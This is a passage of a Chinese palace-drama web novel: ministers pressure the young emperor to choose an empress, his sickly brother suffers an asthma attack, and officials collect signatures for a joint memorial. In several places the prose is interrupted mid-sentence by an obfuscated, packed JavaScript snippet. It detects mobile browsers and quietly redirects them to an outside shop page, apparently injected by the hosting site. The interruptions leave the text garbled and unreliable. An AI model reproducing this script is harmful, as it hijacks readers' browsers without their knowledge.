“卢阁老,要是有人举荐,尽可直言。但如若是为了别的事,今日不该是你礼部出风头显山水。” “万岁,万丈楼台由地基而起,国本稳固,才可堪谋大业啊。”卢英正气凛然,刚直跪禀道,“请陛下早立中宫,以固国本呐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13360930|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 言毕,自卢英以下,六部九卿皆跪地齐声道:“请陛下早立中宫,以固国本!” 宁澈眼尾颤了颤,寒声道:“怎么,朕今日若不答应你们,这海防还议不成了?” 这显然是这群肱骨之臣早已商议好的,就为了在今□□他给个态度。 可宁澈偏偏最不喜欢这种被胁迫的感觉。 他看向仍站着的首辅杨怀简和次辅顾文哲。 “杨阁老,顾阁老。”宁澈负手起身,似笑非笑说,“这就是内阁想出来的招数?” 杨怀简默然肃立着。今日之事,他并非不知情,但卢英到底还是心急了些。 两鬓斑白的武英殿大学士挺着脊梁站在众官之首,虽已是花甲之年,风骨之资却未曾削减半分。 “陛下。”杨怀简苍苍开口道,从袖中抽出一方拟好的奏疏呈上御前,“这是臣等拟好的补官人选,请圣上过目裁断。” 言罢,他同顾文哲对御座上的帝王一齐深深揖礼,跪谏道:“臣等上谏,皆以国祚千秋为重,望陛下开张圣听,早日下诏遴选新后。” 殿中似是凉了几分,君臣之间隐约有剑拔弩张之势。 宁澈垂眸从这些位极人臣的文官身上扫过,他们的脊梁仿佛比冰峰还冷硬。 “卢英,你是要逼宫吗?” 卢英叩首道:“微臣万万不敢。臣等只是想尽为人臣子本分,食君之禄,忠君之事。” “臣等?”宁澈咂摸着这个词,“你这个等,等的到底是谁?” 他好整以暇的轻轻敲着桌案,在这面铜墙铁壁上挑选着突破口:“蒋尚书?” 刑部尚书身子一抖,觉得自己属实是个冤大头。今天本来说的是要议海防,他一个管刑部的,只当是来做个凑数的。可谁知卢英搞了这么一出来?他到的时候,其他人早就达成一致意见了,自己也只得随这个大流。 一想到自己这一把老骨头,明年就打算乞骸骨回家养老去了,不禁深深开始后悔今日为何不在家称病躲了这一劫。 宁澈见刑部尚书只顾筛糠,没再搭理他,又点到:“吕尚书?” “臣,臣……”工部尚书磕巴了几声,不知道是真不舒服还是吓破了胆,咣当一声,晕了。 宁澈嗤一声轻笑。卢英人是刚硬,只可惜找错了队友。 宁澈看向身旁随侍的年轻内官:“给卢阁老一张纸。让他把今日想要谏的言都写下来,附议的全在纸上给朕签字画押。” 谭小澄躬身应是,当即取了纸笔来,铺在卢英面前。 宁澈不慌不忙的抿了口茶:“就在这写。过会要签名摁手印的,朕都看着。” 卢英心道不妙。皇帝这招使得太损了,可事已至此,他也只得硬着头皮写下去。 谭小澄站回到皇上身边,看着往日里风姿英伟的尚书大人跪在地上奋笔疾书,甚至显得有些狼狈。 忽而,他瞥见御书房外有人在探头探脑。细看了看,竟然是自己的徒弟小金,他今日是在外殿当值的。 谭小澄皱眉对他使了个眼色,当下是什么场合,如何能这样毛手毛脚。 可小金却一脸焦急,似乎是出了什么十万火急的大事。 谭小澄正想悄声退出去问问怎么回事,可正当时,宁澈也瞅见了在书房外扒头的小内侍。 “干什么呢?”宁澈冲门外喝道,“有事进来说。” 小金虾着身子进来,脚下一绊,直接趴到了御前。 “主子恕罪。”半大孩子顶着一脑门子汗,赶紧跪好磕头道,“奴婢万不敢打扰主子同诸位大人议事,可方才景仁宫传话过来,说,说是成王殿下急症又犯了!” 112. 君臣师生 宁澈胃里狠狠一痉挛。 他哪里还顾得着跟前朝这帮老骨头扯皮,起身便往殿外奔去。 夏绫得了消息,先一步赶到景仁宫,与匆匆而来的太医院众医官正好前后脚。 殿内,宁潇斜靠床架子蜷身坐着,一只手攥着领口,大口大口的喘着气,喉咙里隐隐有哮鸣之音。 夏绫从未见过喘疾发作的病人是什么样子,有些乱了阵脚,蹲在宁潇身边急切问到:“小王爷,你感觉怎么样?” 宁潇已经喘红了眼,身体不住的在发颤。孩子说不出一句完整的话,只乞求般的看向夏绫,那眼神好像在说,救救我。 夏绫心疼不已,只能先将宁潇的双腿放在床上,柔声道:“小王爷,咱们先躺下。” “不行,不能躺。”院使此时已理好了药箱,匆忙道,“躺了更严重。” “夏姑娘,劳您从身后托住小殿下的身子,微臣要准备施针了。” 夏绫点点头,按院使交代的做。 有内侍上前来为宁潇宽了衣,将上身的中衣整个都脱下来。这孩子本身就瘦,再这样一喘起来,胸膛一起一伏,肋骨处都显得有些嶙峋。 夏绫从身后抱住他,明显能感觉到怀中瘦小的男孩子颤抖不止,好像是在窒息的深水中不住的扑腾挣扎,无助的寻求着一丝生机。 太医院院使在宁潇胸口上摸了摸,找准了穴位,手持银针扎了下去。 或许是感觉到了疼,宁潇呜咽着挣扎起来,喘的竟是更厉害了。 “这,这怎么办啊?” 夏绫是真的有些慌了,她见宁潇喘息愈发粗重,已渐有抽搐之势。 院使额上也起了一层细汗,他未想到成王今日病发会严重到如此地步。 夏绫不知道宁潇还能不能听见自己的声音,不住喊他到:“小王爷,小王爷!” 正当这孤立无援之时,一只坚定的手掌搭在了她的肩上。 夏绫抬起头,见是宁澈来了。一瞬间,她竟然有些想哭。 “乔乔,换我来。” 宁澈将夏绫换下来,单膝跨上床,将宁澈搂在他自己怀里。 “三哥儿,哥来了。”他用拇指不住按揉着宁潇脊背上自风门、肺腧一线的穴位,“别害怕,听哥说,放松,对,放松。” 宁潇的眉心皱了皱,万幸,他是还能听到声音的。 “好孩子,对。跟着哥说的做,吸气——好,再呼气——” 宁澈的声音让宁潇仿佛在茫茫水面上攀住了一截浮木,他随着兄长说话的节律,也开始有了些自救的意识。 宁澈见孩子倒了两口气上来,从背后稳稳抱住他,对太医说:“快施针吧。” “万岁……”院使此刻也顶着如山重的压力。 宁澈知道,现在这当口更不能威逼医者,只对他说:“你只管全力救治,不管结果如何,朕都恕你无罪!” 院使定了定神,找准宁潇身上的穴位,再一次持针刺了下去。 一根一根的银针扎满了宁潇的胸口与手臂,随着一次次手起针落,救治当真是见了效果,宁潇的呼吸逐渐平缓了下来。 经此一劫,宁潇已近乎累脱了力。他闭着双眼,软软靠在宁澈怀里,苍白虚弱,似乎会一触即碎。 宁澈轻轻托着弟弟的头,让孩子平躺在软枕上。他怜惜的摸了摸幼弟枯黄的脸颊,此时方觉出后怕来。 每次发病时,他都是从阎王爷手里抢人。这一次又一次,万一哪一回没抢过阎王,他又当如何? 宁澈抬头,正对上夏绫的目光。见她双目湿红,想必方才也是真的害怕了。 宁澈不敢循着这个念头再想下去,他霍然起身,想出去透口气。 夏绫跟在宁澈身后一起出去。 出门的时候,宁澈脚步有些踉跄,险些摔了一跤。 他坐进圈椅中,双肘拄在膝上,弯下身,将脸深深埋进自己的双掌间。 “阿澈。” 夏绫蹲在宁澈跟前,抬起的手略滞了滞,最后还是覆在了他的发顶,摸了摸他的头。 宁澈迟缓的抬起头来,声音沙哑:“乔乔,你帮我把谭小澄喊过来。” 谭小澄一直都跟在皇上身边,根本没离开过半步,闻言忙道:“奴婢在。” “哦。”宁澈掐了掐眉心,知道是自己的心绪乱了。 “你去备辆车,在车里铺好软垫,不要有任何杂尘。等明天,将成王送到昌平行宫去。” 顿了顿,他复说道:“这事你亲自盯着去办,别人朕不放心。” “是,奴婢遵旨。” 天色已然黯淡,白日将尽未尽之时,最显寂寥。 夏绫担忧的望着宁澈,知道他这样做是不得已,可又不知道该如何安抚他此刻的难受。 “乔乔。”宁澈拉了拉夏绫的衣袖,有她在身边,他再怎么说也比自己一个人时要好过些。 “你能不能帮我在这守一会?我怕三哥儿万一醒了找不到人,一着急再犯起病来。我得回趟乾清宫,还有些事没处理完。” 夏绫温声宽慰他道:“你放心去吧,我在这守着。” 宁澈点了下头,步履仓促的走入夜色中。夏绫目送着他的背影,暗夜使他身上挺括的龙袍更显威严,而脚上的鞋子,却暴露了他此刻的凌乱。 * 回到乾清宫,何敬已在此当值等候。 “主子。”见宁澈回来,他简直像见到了救星。 除工部吕尚书晕倒被抬下去外,内阁三位辅臣及六部九卿仍旧跪在御书房中,劝也劝不走,还招一头骂。这一个个的老大人年岁也都不轻了,要真跪出个三长两短来,那全都是麻烦。 何敬双手呈了一页纸上来。 宁澈接过来看,见是今日卢英当庭写的谏言疏。在这上面签字落款的,除卢英本人外,还有兵部尚书,左都御史,大理寺卿,通政使。 全都是刺头。 可若不是刺头,又如何担得起秉正监察,清明言路的职责。 卢英今日还是输了,且输得并不好看。首辅次辅均未站到他这一边,九卿当中也失了近半。 可宁澈也没觉得自己有多光彩。此时的他,已完全失去了同阁臣争个高下的兴致。 他恹恹将那页纸放在一旁,吩咐说:“将杨阁老请过来吧。” 杨怀简今年六十有八,若按岁数算,足以当宁澈的爷爷辈了。毕竟是上了岁数的人,跪了这两个多时辰,虽然他的脊背依旧硬挺,可脚步难免有些蹒跚。 “老臣,参见陛下。” 宁澈无声颔首,仍是给杨阁老赐了坐。 “杨先生,”宁澈单手拄着额角,“今日内阁所为,实在太让朕失望了。” “老臣惭愧。”杨怀简拱手谢过罪,却说,“可礼部尚书今日所为,绝非逞一时口舌之快。陛下所见到的臣子态度,也绝非阁部大臣的一家之言。陛下即位已有五载,非但无子嗣,如今甚至连中宫都已位缺。臣工之中已隐有骚动滋生,国本不稳,终究人心难定呐。” “可这毕竟是朕的家事!”宁澈抬高了声音,“今日是这一群外臣堵在朕的家门口,指着朕的鼻子干涉朕的私事。老师不觉得,有些太过分了吗?” “老臣早就教导过陛下,帝王之事无家事,皆是国事。陛下在指责臣工谏言的同时,可又想过您如今所为会寒了臣子的心?” “老师,为什么啊?”宁澈不禁站起身来,声声切切问到,“朕自问,自接位以来,无一日怠懒,无一日荒政。朕一直秉持着先生的教导,是想多做实事的啊,不然又何必要肃贪腐,建海防!难道朕做的这些你们都看不到,仅因为一个无后,就寒了臣工的心了么?” 杨怀简同站起身,默了一默,方开口道:“因为,国家太大了,人太多了,陛下的位置,也太高了。” “统治许多人,秘诀在于利用道德,使地位低的屈服地位高的,女人服从男人,没读过书的崇拜读过书的。而这一切都需要最高位者做出表率和引导[1]。陛下是在肃贪腐,建海防,在千秋万代看来,您会是位仁圣之君。可落在平头小吏身上,肃贪腐只意味着更少的得利,建海防只意味着繁重的差役。他们看不到陛下的宵衣旰食,看到的只是您带头破坏秩序,从而为自己道德的缺位找到了理由。陛下空有一腔宏图伟愿,可若连小民小吏都无法驱使,即便是再凌云的壮志,也都只是空中楼阁罢了。” 如此平静的一番话,却如一条铁锁般牢牢缠住了宁澈的喉咙。他张了张嘴,竟一句反驳的话都无法说出。 杨怀简抬眸看向面前的年轻帝王,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他第一次注意到宁澈脚上穿的鞋子。那是一双再普通不过的软底布鞋,再加上他并没有穿袜子,与身上的龙袍放在一起,有种孩子偷穿大人衣服的滑稽。 杨怀简旋即便想明白,这必定是日前去天坛祈雨时,将脚给磨伤了。 对于这个他从垂髫稚子一手教出来的少年帝王,杨怀简蓦然有些心软。 “成王殿下……境况还好吗?” 宁澈执拗的别过脸去,侧影萧索:“不太好……不太好。” 声音越来越低弱,气息带着颤抖。 杨怀简默而低首。 揽镜自视,他并非一个严厉的为人师者,对于那些初涉科场的少年读书郎,他大多是和颜悦色的。可唯独对面前这个学生,他倾注了最多的心血,也授以了最苛责的要求。 无他,只因为这个学生将会成为一代帝王,高位者必承其重。 但以一个年长者的角度来看,这少年郎也不过还是个孩子。他无父无母,带着个体弱多病的弟弟,还得在万千双眼睛的注目下肩负起天下大任,确实活的太累了些。 虽从未宣之于口,但在杨怀简心里,宁澈依旧是他此生最好的学生。即便抛开他的帝王身份,杨怀简也从不否认这少年人身上的明珠之泽。 在这一刻,刚正一生的内阁首辅,对于自己学生的偏私,超过了礼法律令的规训。 “如果陛下当前执意不想立后的话……那老臣想想办法,暂且为陛下挡上一挡罢。” 宁澈缓缓抬起头来,不太确定自己听到了什么。 杨怀简想了一想,徐徐说道:“为师会称先帝陵寝封土未实,陛下为彰仁孝,先敬父母,再言自身,以此为由暂且压一压前朝的声势。但这也仅为权宜之计,待圣母梓宫归位后,为师怕是也再拖不住了。还望陛下用这段时间,能早做决断,毕竟为师这把老骨头,也不知道能为陛下挡上多久了。” 他用了“为师”,而不是“臣”,这是在私心里,与宁澈站在了一处。 宁澈张了张口。将生母的灵柩迁入皇陵,于他而言又是一件不愿触碰的事。可是他不能把所有事都拖着,也不能真的让年迈的老师去为他挡住全部的事。 到嘴边的话,终究还是咽了回去。 “那就,拜托老师了。” 113. 联名奏疏 景仁宫中,夏绫守在宁潇的寝阁外,仅隔了一扇围屏。 从前在乾清宫的夜没有白值,里间任何一点微弱的声响,她都历历可闻。 当夜色深沉到不再透明时,夏绫听到寝阁内传来一丝虚弱的呼声:“哥?” “小王爷。”夏绫持了一盏宫灯走进里间,轻轻唤了躺在床上的那孩子一声。 “乔乔姐。”宁潇垂下眼,有些失落的问,“我哥呢?” 夏绫将灯盏放在床头,略提了裙子坐在脚踏上,如此便与床上之人近乎同高。 “你哥哥在乾清宫还有些事,很快就回来。”她温言道。 宁潇眨了眨眼,却沾湿了睫毛:“他事情总是很多,可我还老给他添乱,连生病都病的不是时候。” “小王爷,你怎么会这样想?”夏绫认真同他讲到,“亲人之间,是不说什么拖累不拖累的。只要你健康平安,你哥哥就也会开心,他从来都不会觉得你是个乱子。” 宁潇抬手揉了揉眼睛,可他还是有点难过。 “乔乔姐,我今天发病的样子是不是很可怕?吓到你了吧。” 这是宁潇唯一的自卑之处。一直以来,他都觉得自己是个异类,因为在他的身体里住着一只狰狞的怪兽,不知道什么时候会突然跑出来,把他整个人也变成一个怪物。 “怎么会呢。”夏绫摇摇头,莞尔浅笑,“我倒是觉得,你今日把病痛赶跑的样子简直太勇敢了。你看你多厉害,已经是个英勇的男子汉了。如果换做是我,估计也只会哭鼻子呢。” 说着,她冲孩子扮了个鬼脸。 宁潇被她逗得噗的一笑。 他抽了抽鼻子说:“乔乔姐,你可真好。” * 宁澈回到景仁宫时,夜已经很深了。 他快步往宁潇的寝阁走去,当绕过围屏时,他的脚步却滞住了。 在床头,放着一盏不甚明亮的宫灯,烛火透过菱纱灯罩悠悠然然散发出暖光,将一室之内渲染在一片柔和的安详中。 灯下,宁潇已沉沉睡去,轻盈的微光落在他脸上,将他纤长的睫毛映出丝丝暗影。 而在床边,夏绫枕着手臂,也已然睡熟了。显然,她是一直在这里守着,不知什么时候就累的睡了过去。 宁澈屏住呼吸,竟有些不敢靠近。 光晕笼罩下的小室,就好似一个温软的梦境。他生怕自己的气息略大一些,就会将这个梦震碎。 宁澈放轻脚步退出了寝阁,背倚在墙上,消化了片刻内心的波澜。 这样温和静好的梦境,他不知道究竟还能做多久。 他真的不想醒来。 经过一夜的休整,宁潇的精神头好了一些。吃过午饭,他在宁澈与夏绫的陪伴下,上了去往昌平行宫的马车。 车厢中被擦洗的一尘不染,又铺上了厚厚的软垫,竟比寻常床铺还要更舒坦些。 宁潇上了车躺好,宁澈仍不放心的也跟了上去,攀在车辕上,探进车厢半个身子跟弟弟讲话。 “三哥儿,过去只管好好养身子,想吃什么想玩什么都直接让人来跟哥说。你就过去住这一小段时日,等身子养好了,哥就去接你回来。” 宁潇微喘着点了点头,伸出手,握住了兄长的两根手指。 “等你不忙的时候,可以来看我吗?”想了想,他又改了口,“如果你真的很忙,那也没关系的。不管你来不来看我,我都会很想很想你,你永远都是我最喜欢的哥哥。” 宁澈被这小崽子说的竟酸了眼眶。 他在宁潇头上揉了揉,强作笑意:“哥答应你,一定过去看你。” 谭小澄从一旁适时提醒到:“主子,该出发了,得赶在天黑之前到行宫安置下。” 宁澈这才不舍的打下帘子,嘱咐道:“路上慢一些,千万别颠着。” 谭小澄垂手应是。 夏绫交了封信给谭小澄,请他帮忙带给行宫的管事内监王平。信中写的无非都是些宁潇平日里的起居喜好,让王平照看起来能更得心应手些。 谭小澄跳上车辕,口中啾的一声,驱使马匹迈开了步子。 车外人伫立,挥手道别离。 无人知晓,马车中的小男孩将脸埋在晃动的衾被间,偷偷哭了。 * 四月中旬,河南布政司发来奏报,开封府、汝宁府一带普降甘霖,想来是圣上祈雨感动了上苍,今年的粮食有指望了。 如此振奋人心的好消息,令君臣之间因立后一事产生的龃龉,稍稍缓和了一些。 漕河外,刑部衙门。 左侍郎刘廷甫手握一折奏疏,步履轻盈的越过连廊,叩响了右侍郎衙房的门。 “钟大人,我进来了?” 钟义寒拉开房门,对门外之人拱了拱手:“刘大人请进,是有案子找我商议?” 刘廷甫进了屋,掸了掸身上被风刮出来的尘土,将那一折奏疏放在钟义寒的桌案上。 “非也,我是来向钟大人讨押印的。”他笑呵呵的瞅了一眼案上的奏疏,“不如钟大人先看看?” 钟义寒将折本展开来看了看,见那其上是由礼部主拟的言辞,奏请皇上早日追封圣母皇后之位,迁梓宫入皇陵,封固先帝陵寝。其上已有了数个衙门的签章,林林总总共计几十人。 “这是?” 刘侍郎解释道:“日前,杨阁老提议,圣上素来以仁孝治天下,若要国本稳固,先要先祖陵寝安稳。于是由礼部牵头,拟了这封折子,各部联名奏请皇上尽早安固先帝茂陵,刑部其他同僚已都落了款,就差钟大人你了。” 见钟义寒竟还有犹疑之色,刘廷甫又忙着补充道:“无人不望父母和乐,圣母孤坟已伶仃多年,陛下必定也是期望先帝圣母在天之灵魂安的。如此顺应圣意之举,何乐而不为呢?况且,隔壁都察院和大理寺早已都签好了字,位置比刑部靠前,咱刑部可不能在人数上再落下风了啊!” 钟义寒垂眸往折本上看去,在刑部栏下,刘廷甫的大名打头阵,其后跟着其他主事同僚的名字。在左侍郎的名字下面留有一块空白,显然是等着他这个右侍郎落款上去的。 钟义寒当然明白他心中打的什么算盘。刑部尚书年事已高,眼瞧着就要致仕,空出这个二品官位来。刘廷甫是想借机在皇上面前多露露脸,好往前再拱上一拱,近水楼台先得月么不是。 “可是刘大人,刑部联名上书也该是蒋尚书牵头,怎不见他签名呢?” 刘廷甫咋舌:“嗐,还不是前几天在御前把卢阁老给得罪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388849|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不好意思在礼部的折子上落名。” 钟义寒挑眉:“出什么事了?” “钟老弟,你竟不知道?”刘廷甫对于钟义寒消息之闭塞感到十分讶异。 刘侍郎这个人,长了一副圆脸粗眉,看着是个忠厚模样,但实则是个情报头子。朝廷上不管是哪有点风吹草动花边佚事,他总是头一个能闻着味。钟义寒时常感慨,庄衡不把这个人揽到自己麾下去,着实可惜了。 刘廷甫见他这个两耳不闻窗外事的样子,便知道其是真的不知情,于是压低声音,将卢英在御书房带头奏请皇上立后的事同钟义寒讲了,其中更不乏一些他自己理解的添油加醋。 钟义寒越听神情越凝重。 虽说册立皇后的确是国之要事,但摆出一副不立皇后则不谈海防的态度,钟义寒是很不赞成的。 对于海防一事,钟义寒一直持比较激进的态度。且他内心已做好了打算,待今年诸事渐上正轨,他便会上折子自请外放到东南沿海为官,那里才是他想施展身手的地方。 钟义寒想,若是当时自己在场,管他对面是辅臣尚书,一定要与对方辩上一辩,绝不会让皇上受那等窝囊气。 可这个想法方一冒头,钟义寒又不由觉得心惊。景熙皇帝坑过他那么多回,怎么不知不觉的,自己倒与皇帝陛下穿进一条裤子里去了呢? 刘廷甫自然看不穿面前这小老弟的心思,兀自感叹道:“咱们尚书大人啊,还是忒要脸。你看人家工部吕尚书,也没在卢大人那起什么好作用,不是还该签签么。要不人家能把尚书之位坐的这么稳呢?坏事躲着走,好事往上凑,我算是看明白了,这做官呐,还是得靠脸皮厚。” 见钟义寒对自己的风凉话没什么反应,刘侍郎不由得有些尴尬。他在钟义寒眼前晃了晃手掌:“喂,钟老弟,你就快签了吧。有这等好事,不蹭白不蹭不是?” 钟义寒看向奏疏上字迹不一的签名,密密匝匝跟苍蝇一样。鬼使神差的,他回想起来第一回同皇上见面的时候。 那人怀中抱着个孩子,同自己说,找不到这小娃娃的爹也挺好的,这样他娘至少就不会扔掉他了。 彼时钟义寒只觉得那人有病,可如今回忆起来,却咂摸出来些不同寻常的意味来。 是那人与他的母亲之间解不开的结。 钟义寒喃喃自问:“这真的,会是件好事么?” 刘廷甫万没想到找此人签个字竟如此费劲,急道:“我说老弟,你到底在犹豫啥呢?” 钟义寒将折本推回去:“刘大人,这字,我还是不签了。” 何去何从,也当是由那人自己决定,他不想做这推波助澜之人。 刘廷甫张了张嘴:“不是,为什么啊?” 钟义寒淡淡笑道:“下官生来性子孤僻些,这等热闹,也就不掺和了吧。” 刘廷甫眼中难□□出些失望之色。 毕竟他要钟义寒写的,不止是对方的名字,更是刑部的脸面,是要算自己的政绩的。这下可好,尚书与右侍郎俱不署名,让他这个左侍郎显得太过突兀。 可他又知,面前这个人可是连锦衣卫都敢顶,自己必是劝不动他的。 刘廷甫只好将奏疏收好,拱手道了告辞,恹恹离开了钟义寒的衙房。 114. 灵济讲学 钟义寒散值后,并没有回他在灯市口的家,而是换了身便服,往北去了灵济宫。 此地今日有一场讲学大会。 本朝文风开化,各类学风门派层出不穷,而其中又以“心学”之说最盛。其奉行“无善无恶心之体,有善有恶意之动,知善知恶是良知,为善去恶是格物”的宗旨,很受当朝士大夫读书人的追捧。 钟义寒对此类学说也十分感兴趣。 灵济宫是城西的一座道观,为永旻年间所敕建,时常有学者鸿儒在此处讲学,听者甚众。 钟义寒到达此处时,人群已挤了个水泄不通,道观内座无虚席,粗看大约能有数百人之多,盛况空前。 只因今日的主讲者难得一见,是文华殿大学士,当朝内阁次辅,顾文哲顾大人。 顾文哲此人,在内阁中属于较为中庸的做派,既不如首辅那般克己复礼,也不如三辅那般锋芒毕露,他夹在中间,存在感就显得低了一些。 但顾文哲在学子间却有个相当响亮的名号。他学识渊博,文章功底极深,是发扬心学的集大成者,追随者无数。 钟义寒挤在人群间,心道自己还是来晚了。不过他在人群中,却意外发现了一个熟悉的身影。 那人身形高挑英朗,在一群读书人当中有种鹤立鸡群之感。他今日没穿飞鱼服,也没配绣春刀,一身便衣,倒真像个来求学的。 钟义寒越过人群,凑到那人身边,打招呼道:“庄衡大人。” “钟大人?”庄衡没想到在这里会碰到熟人,“你是来此处听学的?” “这话应该是我问庄大人吧?”钟义寒上下打量了他一番,怎么看都觉得他跟此处实在不太搭调,“庄衡大人也对心学感兴趣么?” “钟大人此言何意?”庄衡眉毛高高挑了起来,“是担心庄某人听不懂吗?” “不敢,不敢。”钟义寒干笑两声,“只是没想到庄大人的兴趣在这,那在下与您也算是同好,或可切磋一二。” “嘁。”庄衡一声嗤音飘过。他怎么会看不透钟义寒心里是如何想他的。 “虽同处一室之内,本官与钟大人所在位置不同,听到看到的也自然不同。” 他既用了“本官”这个称呼,便表明了他今日不是来此处闲逛的。 钟义寒缩了缩脖子,这倒是也不难理解。收集情报,探查民情,本就是锦衣卫分内之事。而这种人多眼杂的场合,探听消息是再合适不过的了。 但钟义寒就是看不惯他们锦衣卫身上的这股……随时随地都在当值的做派。 尤其是打庄衡婚事定下来之后,这个人办起公来比以往更加变本加厉,就好像生怕赚不够聘礼钱一样。 拿衙门当家的不良风气,就是被这种人给带起来的。 钟义寒与庄衡同跨进了讲堂的大门,此时坐是没地儿坐了,两人便找了个尚不算太拥挤的地方,落下脚来。 此时尚未到开讲时辰,主讲人顾文哲也还没有到场,钟义寒便环顾着四处瞧瞧,看能坐到前面的人究竟都是什么来头。 在第一排,靠近讲台的地方,坐着个穿道袍戴幅巾的人。那人有些眼熟,钟义寒觉得自己肯定是在哪见到过,但一下子又想不起来。 “钦天监监正,陆元齐。” 钟义寒偏头,见庄衡抱着双臂,目光也落在前排那人身上。 经他这么一提点,钟义寒也想起来了。钦天监主管天文历法,与其他衙门往来不多,但这位陆监正,钟义寒还是在宫中打过一两回照面的。 钟义寒啧啧艳羡道:“没想到陆监正竟也是心学的追随者。能来这么早占个好位置,想必在学法上也是颇有造诣的。” 庄衡却凉嗖嗖的回怼了一句:“有没有造诣不知道,但来‘占位置’倒是不假的。” 钟义寒真是很烦这人随地泼凉水的样子。 “庄衡大人何意?” 庄衡面无表情的答:“钟大人看到的是潜心向学之意,庄某看到的却是结党营私之嫌。并非所有人都如钟大人你这般单纯良善,如果借求学的名头拉帮结派,掺杂些什么别的东西,那便不好了。” 单纯良善。钟义寒总觉得,对方实际上想用的词是傻。 “庄衡大人是知道些什么吗?” 对方只答:“钟大人且看,前面几排的听众里,有近半数都是荆楚之人。而巧的是,顾阁老也是荆楚人。” 钟义寒不禁翻了个白眼。正经人没有会把籍贯贴自己脑门上的,他又没有锦衣卫手眼通天的本身,这谁看得出来啊? “可是,如顾阁老这般文风清正的人,不大可能会结党吧?” “顾阁老或许是不会,但听他讲学的都是些什么鱼龙混杂的人,那可就保不齐了。” 钟义寒又看向了陆元齐:“可钦天监官位常为子承父业,陆监正可是正经八百的京城人氏,他总不至于参与到荆楚之人的结党中吧?” “他算半个。”庄衡淡淡道,“他母亲是荆州人。” 钟义寒真是服了。自己来听讲学好好的心情,被这人搅合的一团乌糟。 “庄衡大人,您心里就不能阳光一点吗?” “不能。”庄衡皮笑肉不笑的说道,“我们北镇抚司,可养不了什么天真小白花。” 钟义寒忍不住在心里骂了句街。靠,说谁呢? * 帘外雨潺潺,春意阑珊。 暮春之雨细细密密,洗濯掉笼罩京师多日的尘埃。 乾清宫的廊庑下,小内侍端着满漆盘的奏疏,弓着身子走得快而不急。 “何掌印,这是通政使司方呈上来的奏疏,请您过目。” 何敬嗯了一声,双手将漆盘接过来,往御书房走去。 书房内,宁澈正在翻看着户部呈上来对于春汛固防黄河河堤的请款账簿。账目很细碎,宁澈不可能每一笔都详细的看过,但仍是会翻阅一遍,以便心中有数。 饶是这样,他看了也有将近一个时辰。 “主子,通政司送的奏疏到了。”何敬将漆盘轻放到桌案上,恭敬禀道。 “嗯。”宁澈搁下笔,揉了揉肩膀。他是想换换脑子了。 窗外依旧晦暗如幕遮,透着股雨中独有的慵懒。 “今年这天也总不见热。” 何敬含笑应道:“主子莫言,待这天一放晴,日头或许就毒了。” 宁澈的目光落在那几摞刚送来的题本上,其中有一折格外厚。 他拿过来展开看,见其上是礼部所呈追封圣母为皇后,并将其灵柩迁入皇陵与先帝合葬的奏疏。后面密密麻麻跟了很多人的签名,内阁,六部,五寺,都察院,通政司,凡是在京城中的衙门,一个不落。 杨阁老为了转移朝中注意力,也是煞费苦心了。 宁澈一折一折的展开看去,神色如静水寒潭,了无波澜。 原来有这么多人都知道他是个没娘要的孩子啊。 直到他看到了刑部联名的栏次。 在左侍郎的名字下,留有一片空白。没有右侍郎的署名。 不知出于什么心态,宁澈将那些人名一个一个仔仔细细的看了过去,找了两遍,没有看到钟义寒的名字。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404184|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他竟莫名觉得有一丝安慰。 在奏本全部展开时,近乎铺过了他的整张书案。 宁澈抬起手,将指尖轻轻覆在了奏疏正文上。言辞恳切,字句铿锵,为他做成这件事,提供了足够有力的理由。 只要他抬抬手,朱笔一落字,史书上便会记上一笔,他的父母恩爱和乐。他甚至都可以用此来骗过自己,他是被双亲爱护着长大的孩子。 檐外雨声滴嗒不止,扰动着宁澈的心绪。 这曾经是他梦寐以求的事啊。 明明只差一步,他就能如愿了。可是为什么,却没有想象中的那样开心呢。 * 雨过天晴后,从地面蒸腾而起的水汽果然夹带了一丝暑热的意味。 明窗之下,夏绫坐在床边,面前放着一本倭国文集。她一手托着腮,手捻书页,看得极为认真。 前段时间被各种事情困扰着,让她不得不暂放下了对倭文的学习,以至于她自己都觉得有些生疏了。但夏绫不想就这样半途而废,这段时间有了空闲,便把先前耽误的功课都补上。 